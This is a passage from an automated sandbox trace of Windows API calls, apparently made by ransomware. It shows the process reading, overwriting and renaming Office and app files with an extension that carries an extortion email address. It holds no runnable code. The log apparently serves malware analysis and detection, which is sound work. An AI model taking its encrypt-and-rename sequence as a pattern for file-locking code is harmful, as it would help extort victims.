lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x380034, dwReserved1=0x310033, cFileName="DatabaseCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~4.FIR")) returned 0x6d5480 [0236.650] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0236.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\databasecompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0236.650] GetProcessHeap () returned 0x630000 [0236.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746a050 [0236.650] GetProcessHeap () returned 0x630000 [0236.650] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x746ae38 [0236.650] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.650] ReadFile (in: hFile=0x4f0, lpBuffer=0x746a050, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x746a050*, lpNumberOfBytesRead=0x4fbff0c*=0x280, lpOverlapped=0x0) returned 1 [0238.910] GetProcessHeap () returned 0x630000 [0238.910] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b298 [0238.910] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.910] WriteFile (in: hFile=0x4f0, lpBuffer=0x746ae38*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x746ae38*, lpNumberOfBytesWritten=0x4fbff0c*=0x280, lpOverlapped=0x0) returned 1 [0238.911] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.911] WriteFile (in: hFile=0x4f0, lpBuffer=0x746b0b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x746b0b7*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0238.911] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.911] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0238.911] CloseHandle (hObject=0x4f0) returned 1 [0238.911] GetProcessHeap () returned 0x630000 [0238.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746ae38 | out: hHeap=0x630000) returned 1 [0238.911] GetProcessHeap () returned 0x630000 [0238.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746a050 | out: hHeap=0x630000) returned 1 [0238.911] GetProcessHeap () returned 0x630000 [0238.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b298 | out: hHeap=0x630000) returned 1 [0238.911] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0238.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\DatabaseCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x545a2888, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x4fbfd20, dwReserved1=0x746a050, cFileName="DatabaseCompare_col.hxc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~4.FIR")) returned 0x6d4f40 [0238.911] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0238.911] Sleep (dwMilliseconds=0x1) [0240.907] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\whmarble.jpg", len=0x73 | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\whmarble.jpg") returned 1 [0240.907] GetProcessHeap () returned 0x630000 [0240.907] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5404) returned 0x6fe3bb0 [0240.907] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\whmarble.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\whmarble.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.909] Sleep (dwMilliseconds=0x1) [0243.172] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Finish.png", len=0x80 | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Finish.png") returned 1 [0243.172] GetProcessHeap () returned 0x630000 [0243.172] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5320) returned 0x6fe3bb0 [0243.172] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Finish.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\navcolumn_black\\icon_finish.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.175] Sleep (dwMilliseconds=0x1) [0244.250] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", len=0x6f | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite") returned 1 [0244.250] GetProcessHeap () returned 0x630000 [0244.250] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f6c) returned 0x6fe3bb0 [0244.250] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\configuration.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.252] Sleep (dwMilliseconds=0x1) [0244.266] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileSmallSquare.scale-100.png", len=0x8e | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileSmallSquare.scale-100.png") returned 1 [0244.266] GetProcessHeap () returned 0x630000 [0244.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f34) returned 0x6fe3bb0 [0244.266] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.268] Sleep (dwMilliseconds=0x1) [0244.282] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileLargeSquare.scale-100.png", len=0x8e | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileLargeSquare.scale-100.png") returned 1 [0244.282] GetProcessHeap () returned 0x630000 [0244.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f04) returned 0x6fe3bb0 [0244.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.284] Sleep (dwMilliseconds=0x1) [0244.296] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.scale-100.png", len=0x88 | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.scale-100.png") returned 1 [0244.296] GetProcessHeap () returned 0x630000 [0244.296] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ee8) returned 0x6fe3bb0 [0244.296] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\News_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\news_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.298] Sleep (dwMilliseconds=0x1) [0244.309] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x75 | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0244.309] GetProcessHeap () returned 0x630000 [0244.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ecc) returned 0x6fe3bb0 [0244.309] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.312] Sleep (dwMilliseconds=0x1) [0244.326] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml", len=0x69 | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml") returned 1 [0244.326] GetProcessHeap () returned 0x630000 [0244.326] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eb8) returned 0x6fe3bb0 [0244.326] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\platformconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.330] Sleep (dwMilliseconds=0x1) [0244.342] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf", len=0x82 | out: pbstr=0x4fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf") returned 1 [0244.342] GetProcessHeap () returned 0x630000 [0244.342] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ea4) returned 0x6fe3bb0 [0244.343] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\msnmdl2.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.345] Sleep (dwMilliseconds=0x1) [0244.360] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll", len=0x7e | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll") returned 1 [0244.360] GetProcessHeap () returned 0x630000 [0244.360] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e90) returned 0x6fe3bb0 [0244.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0244.545] CloseHandle (hObject=0x704) returned 1 [0244.545] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0244.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0244.546] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.546] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee308135, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcae6392, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1132d0, dwReserved0=0x6c006c, dwReserved1=0x69002e, cFileName="msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~2.FIR")) returned 0x6d5200 [0244.546] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0244.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0244.547] GetProcessHeap () returned 0x630000 [0244.547] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7247db0 [0244.547] GetProcessHeap () returned 0x630000 [0244.547] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70ce4d8 [0244.547] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.547] ReadFile (in: hFile=0x704, lpBuffer=0x7247db0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7247db0*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.632] GetProcessHeap () returned 0x630000 [0252.632] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0252.633] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.633] WriteFile (in: hFile=0x704, lpBuffer=0x70ce4d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4d8*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.633] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.633] WriteFile (in: hFile=0x704, lpBuffer=0x70d98d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d98d7*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0252.636] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.636] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0252.636] CloseHandle (hObject=0x704) returned 1 [0252.636] GetProcessHeap () returned 0x630000 [0252.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70ce4d8 | out: hHeap=0x630000) returned 1 [0252.637] GetProcessHeap () returned 0x630000 [0252.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0252.637] GetProcessHeap () returned 0x630000 [0252.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0254.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.430] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee308135, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5c86da1b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1132f4, dwReserved0=0xbd47496, dwReserved1=0x7247da8, cFileName="msmdsrv.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~2.FIR")) returned 0x6d53c0 [0254.430] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0254.430] Sleep (dwMilliseconds=0x1) [0255.819] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\THMBNAIL.PNG", len=0x6f | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\THMBNAIL.PNG") returned 1 [0255.819] GetProcessHeap () returned 0x630000 [0255.819] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d20) returned 0x6fe3bb0 [0255.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0257.792] CloseHandle (hObject=0x3f8) returned 1 [0257.792] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.792] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.829] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ba1ded, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0257.830] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0257.830] GetProcessHeap () returned 0x630000 [0257.830] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, 